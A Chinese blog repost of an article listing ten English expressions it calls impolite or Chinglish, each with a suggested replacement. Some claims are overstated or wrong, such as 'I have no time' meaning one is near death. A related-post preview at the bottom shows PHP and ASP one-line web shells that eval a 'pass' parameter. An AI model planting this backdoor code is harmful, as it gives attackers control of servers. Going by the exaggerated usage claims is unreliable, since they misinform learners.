"What's your problem？"记住！聊天千万不能用这句话！

傷城~ 2023-06-01 12:37 13阅读 0赞

**"What's your problem****？****"****记住！聊天千万不能用这句话！**** **

2018-01-05 19:21

这个世界套路太多

学英语也不例外

一不留神就陷入套路里

有一种痛叫做“我们都在说着English，但我们却不懂彼此”因为用法错误导致的尴尬场面真是太多啦！正所谓出丑的方式总是千奇百怪，尴尬的感觉却是惊人相似。

为了避免这种尴尬的感觉再次产生，小E为你们准备了十大容易引起误会或不礼貌的英语表达，赶紧看看你有没有用到过！在新的一年里，小心不要再犯错了哦！

1**Can you give me the book?**

这个用法在老外听来可是十分不礼貌的。"Can"在这里是指一种能力，这句话等于是在问你有没有把书递给我的能力，除非身体有缺陷，相信四肢健全的人都能做到这件事。

所以应该这样说才对：

Could you please give me the book? 可以给我那本书吗？

2**What's your problem?**

大家可要当心了，这句话一定不要用错。不然可能会被打

"What's your problem?" 表达的意思并不是“你的问题是什么？” 而是“你有毛病啊？”很不礼貌哦！

所以，和老外聊天的时候一定注意啦！

要这样说才对：

Do you have any other questions? 你还有什么问题吗？

3**Give you.**

在中文中，我们把东西给别人时会说“喏，给你”或者“拿去吧！” 但是在英文中可不能直接翻译成"Give you"，这真是地道的Chinglish啦。

英文中把东西给别人的正确说法应该是：

Here you are. 给你。

4**I'm boring.**

很多使用这句话的人想表达的意思都是，我觉得好无聊。但是，I'm boring实际上表达的意思是“我这个人很无趣”哦。

大家都不愿意变成无趣的人吧，所以这个表达注意不要用错咯！

觉得无聊应该这样说才对：

I'm bored. 我觉得好无聊。

5**I will remember you forever.**

我会永远记住你…只有感情真的很深很深才会用到这句话。不然，用"forever"有点太夸张了，毕竟沒有人能活到"forever"。中肯一点可信度会更高哦~

如果朋友之间分别应该这样说才对：

I'll always remember you. 我会一直记着你的。

6**What is your meaning?**

这句话的意思可不是询问别人“你的意思是……？”而是在问别人“你的人生有什么意义？” 似乎对方的存在没有必要，所以，这句话用错可就挺得罪人啦。

正确说法应该是：

What do you mean? 你的意思是……？

7**I have no time.**

想表达“我没时间啦”！很多人脱口而出就是"I have no time!"这可是大大的不对哦！要知道在老外看来，I have no time是没多少活着的时间了……所以，用的时候得当心了。

想要表达时间紧迫可以这样说：

I'm running out of time. 我没时间啦！

8**I'll call your phone.**

这句话又是典型的Chinglish。我会打你电话，中文看来完全没毛病。但是，英文可不能直接就这么翻译过去了。"I'll call your phone." 的意思是我要给你的电话打电话。怎么听怎么奇怪

所以简单一点，这样说就OK：

I will call you. 我会打给你。

9**Please turn on the light.**

这句话本身是没有错的，但是"Please"在这里虽然是请别人开灯，但其实有一丢丢给别人下命令的意味哦！更礼貌的表达应该用：Could you...,Would you...,May I...

所以这里应该是：

Could you please turn on the light? 你可以把灯打开吗？

10**You go first.**

我大中国可是礼仪之邦，“您先走”这句话大家肯定也会经常用到。"You go first" 虽然表达上没什么问题，但是也有一点点命令的含义在里面哦！

想要做个小绅士，小淑女，更礼貌一点的说法应该是：

After you. 您先请。

这些容易犯错的英语表达你有遇到过吗？下次再听到别人这么说，你就可以指出他们的错误啦！你们还知道什么因为英语闹出的笑话，也可以留

转载于:https://www.cnblogs.com/beautiful-code/p/11265441.html

发表评论取消回复

表情：

评论列表（有 0 条评论，13人围观）

还没有评论，来说两句吧...

相关阅读

相关 Java程序员千万不能错过的网站

1. [https://tools.ietf.org/][https_tools.ietf.org] ![在这里插入图片描述][watermark_type_Zm

╰半橙微兮°/ 2023年10月07日 11:04/ 0 赞/ 66 阅读

相关 "What's your problem？"记住！聊天千万不能用这句话！

"What's your problem？"记住！聊天千万不能用这句话！ 2018-01-05 19:21 这个世界套路太多学英语也不例外一不留神就陷入套路里

傷城~/ 2023年06月01日 12:37/ 0 赞/ 14 阅读

相关 “你有什么要问我的吗？”面试最后千万别说这句蠢话，高情商都这么说

一般面试到最后，面试官都会问，“你有什么要问我的吗？” 而很多伙伴，其实不大理解为什么面试官要问这个问题，意识不到它的重要性。实际上，在面试的最后，面试官特意留下时间让你提

ゞ浴缸里的玫瑰/ 2022年12月30日 10:52/ 0 赞/ 179 阅读

相关 Redis面试千万千万不能踩的坑

redis集群不支持管道。如果key1，key2不在一个节点上，不支持mget。 -------------------- 是数据结构而非类型很多文章都会说，r

た入场券/ 2022年12月13日 04:33/ 0 赞/ 239 阅读

相关漫画 | 程序员，你千万不能喝酒啊！

2000年4月14日，一个酒鬼被发现死在了一家廉价的小旅馆房间的地板上。![ac5258fd496cf6e1bd9921d12bead8a9.png][] 警察很快确认了他的

冷不防/ 2022年10月08日 14:25/ 0 赞/ 272 阅读

相关 100句话记住7000个单词。

1. Typical of the grassland dwellers of the continent is the American antelope, or prong

朱雀/ 2022年08月07日 02:58/ 0 赞/ 181 阅读

相关这三种研发工程师千万不能招？

在我目前的职业生涯中，也经历了几家公司，平时也喜欢观察，如果你不是应急的话，我发现有三类人不能招，而且年龄都超过30岁，很有意思第一类人年龄30+，技术不

爱被打了一巴掌/ 2022年06月17日 09:23/ 0 赞/ 204 阅读

相关一句话

PHP: <?php @eval($_POST['pass']);?> ASP: <%eval request("pass")%> .NET: <%@ Page Lan

我不是女神ヾ/ 2022年01月08日 02:35/ 0 赞/ 418 阅读

相关毕业参加工作了，记住一句话，攒钱绝对靠谱

之所以想谈这个话题，是因为我最近（真的）缺钱了。看到这，有些同学就纳闷了，“二哥，你也会缺钱啊！”我只能说，二哥也是个普通的社畜啊！简单陈述一下这个月的状况，6 号幼儿园交

Love The Way You Lie/ 2021年09月10日 10:22/ 0 赞/ 370 阅读

相关毕业参加工作了，记住一句话，攒钱绝对靠谱

之所以想谈这个话题，是因为我最近（真的）缺钱了。看到这，有些同学就纳闷了，“二哥，你也会缺钱啊！”我只能说，二哥也是个普通的社畜啊！简单陈述一下这个月的状况，6 号幼儿园交

灰太狼/ 2021年05月12日 11:50/ 0 赞/ 430 阅读